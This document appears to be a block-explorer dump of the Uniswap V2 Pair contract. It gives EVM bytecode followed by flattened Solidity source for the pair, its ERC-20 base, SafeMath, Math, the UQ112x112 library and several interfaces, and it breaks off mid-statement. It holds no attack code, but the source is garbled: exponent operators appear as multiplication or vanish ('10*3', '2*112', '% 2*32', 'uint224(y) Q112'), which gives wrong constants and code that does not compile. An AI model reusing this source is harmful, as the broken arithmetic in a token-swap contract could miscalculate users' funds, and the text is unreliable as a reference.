919081900360200190a35050565b6dffffffffffffffffffffffffffff166e0100000000000000000000000000000290565b60006dffffffffffffffffffffffffffff82167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff841681612ab457fe5b049392505050565b80820182811015610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158207dca18479e58487606bf70c79e44d8dee62353c9ee6d01f9a9d70885b8765f2264736f6c63430005100032454950373132446f6d61696e28737472696e67206e616d652c737472696e672076657273696f6e2c75696e7432353620636861696e49642c6164647265737320766572696679696e67436f6e747261637429	608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a7146105da578063d505accf146105e2578063dd62ed3e14610640578063fff6cae91461067b576101b9565b8063ba9a7a5614610597578063bc25cf771461059f578063c45a0155146105d2576101b9565b80637ecebe00116100d35780637ecebe00146104d757806389afcb441461050a57806395d89b4114610556578063a9059cbb1461055e576101b9565b80636a6278421461046957806370a082311461049c5780637464fc3d146104cf576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610416578063485cc9551461041e5780635909c0d5146104595780635a3d549314610461576101b9565b806323b872dd146103ad57806330adf81f146103f0578063313ce567146103f8576101b9565b8063095ea7b311610197578063095ea7b3146103155780630dfe16811461036257806318160ddd14610393576101b9565b8063022c0d9f146101be57806306fdde03146102595780630902f1ac146102d6575b600080fd5b610257600480360360808110156101d457600080fd5b81359160208101359173ffffffffffffffffffffffffffffffffffffffff604083013516919081019060808101606082013564010000000081111561021857600080fd5b82018360208201111561022a57600080fd5b8035906020019184600183028401116401000000008311171561024c57600080fd5b509092509050610683565b005b610261610d57565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102de610d90565b604080516dffffffffffffffffffffffffffff948516815292909316602083015263ffffffff168183015290519081900360600190f35b61034e6004803603604081101561032b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610de5565b604080519115158252519081900360200190f35b61036a610dfc565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61039b610e18565b60408051918252519081900360200190f35b61034e600480360360608110156103c357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610e1e565b61039b610efd565b610400610f21565b6040805160ff9092168252519081900360200190f35b61039b610f26565b6102576004803603604081101561043457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610f2c565b61039b611005565b61039b61100b565b61039b6004803603602081101561047f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611011565b61039b600480360360208110156104b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113cb565b61039b6113dd565b61039b600480360360208110156104ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113e3565b61053d6004803603602081101561052057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113f5565b6040805192835260208301919091528051918290030190f35b610261611892565b61034e6004803603604081101561057457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356118cb565b61039b6118d8565b610257600480360360208110156105b557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166118de565b61036a611ad4565b61036a611af0565b610257600480360360e08110156105f857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b0c565b61039b6004803603604081101561065657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611dd8565b610257611df5565b600c546001146106f457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55841515806107075750600084115b61075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b2f6025913960400191505060405180910390fd5b600080610767610d90565b5091509150816dffffffffffffffffffffffffffff168710801561079a5750806dffffffffffffffffffffffffffff1686105b6107ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b786021913960400191505060405180910390fd5b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff91821691908116908916821480159061085457508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b6108bf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f556e697377617056323a20494e56414c49445f544f0000000000000000000000604482015290519081900360640190fd5b8a156108d0576108d0828a8d611fdb565b89156108e1576108e1818a8c611fdb565b86156109c3578873ffffffffffffffffffffffffffffffffffffffff166310d1e85c338d8d8c8c6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050505b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191955073ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d6020811015610af557600080fd5b5051925060009150506dffffffffffffffffffffffffffff85168a90038311610b1f576000610b35565b89856dffffffffffffffffffffffffffff160383035b9050600089856dffffffffffffffffffffffffffff16038311610b59576000610b6f565b89856dffffffffffffffffffffffffffff160383035b90506000821180610b805750600081115b610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b546024913960400191505060405180910390fd5b6000610c09610beb84600363ffffffff6121e816565b610bfd876103e863ffffffff6121e816565b9063ffffffff61226e16565b90506000610c21610beb84600363ffffffff6121e816565b9050610c59620f4240610c4d6dffffffffffffffffffffffffffff8b8116908b1663ffffffff6121e816565b9063ffffffff6121e816565b610c69838363ffffffff6121e816565b1015610cd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e697377617056323a204b0000000000000000000000000000000000000000604482015290519081900360640190fd5b5050610ce4848488886122e0565b60408051838152602081018390528082018d9052606081018c9052905173ffffffffffffffffffffffffffffffffffffffff8b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280600a81526020017f556e69737761702056320000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffffff1690565b6000610df233848461259c565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610ee85773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610eb6908363ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610ef384848461260b565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610fb257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f556e697377617056323a20464f5242494444454e000000000000000000000000604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c5460011461108457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611094610d90565b50600654604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905193955091935060009273ffffffffffffffffffffffffffffffffffffffff909116916370a08231916024808301926020929190829003018186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905192935060009273ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b1580156111b157600080fd5b505afa1580156111c5573d6000803e3d6000fd5b505050506040513d60208110156111db57600080fd5b505190506000611201836dffffffffffffffffffffffffffff871663ffffffff61226e16565b90506000611225836dffffffffffffffffffffffffffff871663ffffffff61226e16565b9050600061123387876126ec565b600054909150806112705761125c6103e8610bfd611257878763ffffffff6121e816565b612878565b985061126b60006103e86128ca565b6112cd565b6112ca6dffffffffffffffffffffffffffff8916611294868463ffffffff6121e816565b8161129b57fe5b046dffffffffffffffffffffffffffff89166112bd868563ffffffff6121e816565b816112c457fe5b0461297a565b98505b60008911611326576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612bc16028913960400191505060405180910390fd5b6113308a8a6128ca565b61133c86868a8a6122e0565b811561137e5760085461137a906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c5460011461146957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611479610d90565b50600654600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905194965092945073ffffffffffffffffffffffffffffffffffffffff9182169391169160009184916370a08231916024808301926020929190829003018186803b1580156114fb57600080fd5b505afa15801561150f573d6000803e3d6000fd5b505050506040513d602081101561152557600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191925060009173ffffffffffffffffffffffffffffffffffffffff8516916370a08231916024808301926020929190829003018186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d60208110156115c357600080fd5b5051306000908152600160205260408120549192506115e288886126ec565b600054909150806115f9848763ffffffff6121e816565b8161160057fe5b049a5080611614848663ffffffff6121e816565b8161161b57fe5b04995060008b11801561162e575060008a115b611683576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612b996028913960400191505060405180910390fd5b61168d3084612992565b611698878d8d611fdb565b6116a3868d8c611fdb565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8916916370a08231916024808301926020929190829003018186803b15801561170f57600080fd5b505afa158015611723573d6000803e3d6000fd5b505050506040513d602081101561173957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191965073ffffffffffffffffffffffffffffffffffffffff8816916370a0823191602480820192602092909190829003018186803b1580156117ab57600080fd5b505afa1580156117bf573d6000803e3d6000fd5b505050506040513d60208110156117d557600080fd5b505193506117e585858b8b6122e0565b811561182757600854611823906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b604080518c8152602081018c9052815173ffffffffffffffffffffffffffffffffffffffff8f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f554e492d5632000000000000000000000000000000000000000000000000000081525081565b6000610df233848461260b565b6103e881565b600c5460011461194f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654600754600854604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff9485169490931692611a2b9285928792611a26926dffffffffffffffffffffffffffff169185916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b505afa158015611a02573d6000803e3d6000fd5b505050506040513d6020811015611a1857600080fd5b50519063ffffffff61226e16565b611fdb565b600854604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611aca9284928792611a26926e01000000000000000000000000000090046dffffffffffffffffffffffffffff169173ffffffffffffffffffffffffffffffffffffffff8616916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b50506001600c5550565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611b7b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f556e697377617056323a20455850495245440000000000000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff80891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e0850182528051908301207f19010000000000000000000000000000000000000000000000000000000000006101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e2808201937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081019281900390910190855afa158015611cdc573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590611d5757508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611dc257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611dcd89898961259c565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611e6657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611fd49273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d6020811015611f0757600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b158015611f7a57600080fd5b505afa158015611f8e573d6000803e3d6000fd5b505050506040513d6020811015611fa457600080fd5b50516008546dffffffffffffffffffffffffffff808216916e0100000000000000000000000000009004166122e0565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e743235362900000000000000602091820152815173ffffffffffffffffffffffffffffffffffffffff85811660248301526044808301869052845180840390910181526064909201845291810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001781529251815160009460609489169392918291908083835b602083106120e157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016120a4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612143576040519150601f19603f3d011682016040523d82523d6000602084013e612148565b606091505b5091509150818015612176575080511580612176575080806020019051602081101561217357600080fd5b50515b6121e157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640190fd5b5050505050565b60008115806122035750508082028282828161220057fe5b04145b610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b80820382811115610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b6dffffffffffffffffffffffffffff841180159061230c57506dffffffffffffffffffffffffffff8311155b61237757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f556e697377617056323a204f564552464c4f5700000000000000000000000000604482015290519081900360640190fd5b60085463ffffffff428116917c0100000000000000000000000000000000000000000000000000000000900481168203908116158015906123c757506dffffffffffffffffffffffffffff841615155b80156123e257506dffffffffffffffffffffffffffff831615155b15612492578063ffffffff16612425856123fb86612a57565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169063ffffffff612a7b16565b600980547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff929092169290920201905563ffffffff8116612465846123fb87612a57565b600a80547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216929092020190555b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054612641908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600160205260408082209390935590841681522054612683908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561275757600080fd5b505afa15801561276b573d6000803e3d6000fd5b505050506040513d602081101561278157600080fd5b5051600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061286457801561285f5760006127d86112576dffffffffffffffffffffffffffff88811690881663ffffffff6121e816565b905060006127e583612878565b90508082111561285c576000612813612804848463ffffffff61226e16565b6000549063ffffffff6121e816565b905060006128388361282c86600563ffffffff6121e816565b9063ffffffff612abc16565b9050600081838161284557fe5b04905080156128585761285887826128ca565b5050505b50505b612870565b8015612870576000600b555b505092915050565b600060038211156128bb575080600160028204015b818110156128b5578091506002818285816128a457fe5b0401816128ad57fe5b04905061288d565b506128c5565b81156128c5575060015b919050565b6000546128dd908263ffffffff612abc16565b600090815573ffffffffffffffffffffffffffffffffffffffff8316815260016020526040902054612915908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310612989578161298b565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129c8908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a02908263ffffffff61226e16565b600090815560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6dffffffffffffffffffffffffffff166e0100000000000000000000000000000290565b60006dffffffffffffffffffffffffffff82167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff841681612ab457fe5b049392505050565b80820182811015610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158207dca18479e58487606bf70c79e44d8dee62353c9ee6d01f9a9d70885b8765f2264736f6c63430005100032	// File: contracts/interfaces/IUniswapV2Pair.sol pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // File: contracts/interfaces/IUniswapV2ERC20.sol pragma solidity >=0.5.0; interface IUniswapV2ERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; } // File: contracts/libraries/SafeMath.sol pragma solidity =0.5.16; // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) library SafeMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'ds-math-sub-underflow'); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 \|\| (z = x * y) / y == x, 'ds-math-mul-overflow'); } } // File: contracts/UniswapV2ERC20.sol pragma solidity =0.5.16; contract UniswapV2ERC20 is IUniswapV2ERC20 { using SafeMath for uint; string public constant name = 'Uniswap V2'; string public constant symbol = 'UNI-V2'; uint8 public constant decimals = 18; uint public totalSupply; mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) public allowance; bytes32 public DOMAIN_SEPARATOR; // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; mapping(address => uint) public nonces; event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); constructor() public { uint chainId; assembly { chainId := chainid } DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'), keccak256(bytes(name)), keccak256(bytes('1')), chainId, address(this) ) ); } function _mint(address to, uint value) internal { totalSupply = totalSupply.add(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(address(0), to, value); } function _burn(address from, uint value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } function _approve(address owner, address spender, uint value) private { allowance[owner][spender] = value; emit Approval(owner, spender, value); } function _transfer(address from, address to, uint value) private { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function approve(address spender, uint value) external returns (bool) { _approve(msg.sender, spender, value); return true; } function transfer(address to, uint value) external returns (bool) { _transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint value) external returns (bool) { if (allowance[from][msg.sender] != uint(-1)) { allowance[from][msg.sender] = allowance[from][msg.sender].sub(value); } _transfer(from, to, value); return true; } function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external { require(deadline >= block.timestamp, 'UniswapV2: EXPIRED'); bytes32 digest = keccak256( abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)) ) ); address recoveredAddress = ecrecover(digest, v, r, s); require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE'); _approve(owner, spender, value); } } // File: contracts/libraries/Math.sol pragma solidity =0.5.16; // a library for performing various math operations library Math { function min(uint x, uint y) internal pure returns (uint z) { z = x < y ? x : y; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } // File: contracts/libraries/UQ112x112.sol pragma solidity =0.5.16; // a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format)) // range: [0, 2112 - 1] // resolution: 1 / 2112 library UQ112x112 { uint224 constant Q112 = 2*112; // encode a uint112 as a UQ112x112 function encode(uint112 y) internal pure returns (uint224 z) { z = uint224(y) Q112; // never overflows } // divide a UQ112x112 by a uint112, returning a UQ112x112 function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) { z = x / uint224(y); } } // File: contracts/interfaces/IERC20.sol pragma solidity >=0.5.0; interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } // File: contracts/interfaces/IUniswapV2Factory.sol pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // File: contracts/interfaces/IUniswapV2Callee.sol pragma solidity >=0.5.0; interface IUniswapV2Callee { function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external; } // File: contracts/UniswapV2Pair.sol pragma solidity =0.5.16; contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 { using SafeMath for uint; using UQ112x112 for uint224; uint public constant MINIMUM_LIQUIDITY = 10*3; bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)'))); address public factory; address public token0; address public token1; uint112 private reserve0; // uses single storage slot, accessible via getReserves uint112 private reserve1; // uses single storage slot, accessible via getReserves uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves uint public price0CumulativeLast; uint public price1CumulativeLast; uint public kLast; // reserve0 reserve1, as of immediately after the most recent liquidity event uint private unlocked = 1; modifier lock() { require(unlocked == 1, 'UniswapV2: LOCKED'); unlocked = 0; _; unlocked = 1; } function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) { _reserve0 = reserve0; _reserve1 = reserve1; _blockTimestampLast = blockTimestampLast; } function _safeTransfer(address token, address to, uint value) private { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value)); require(success && (data.length == 0 \|\| abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED'); } event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); constructor() public { factory = msg.sender; } // called once by the factory at time of deployment function initialize(address _token0, address _token1) external { require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check token0 = _token0; token1 = _token1; } // update reserves and, on the first call per block, price accumulators function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private { require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW'); uint32 blockTimestamp = uint32(block.timestamp % 2*32); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) { // never overflows, and + overflow is desired price0CumulativeLast += 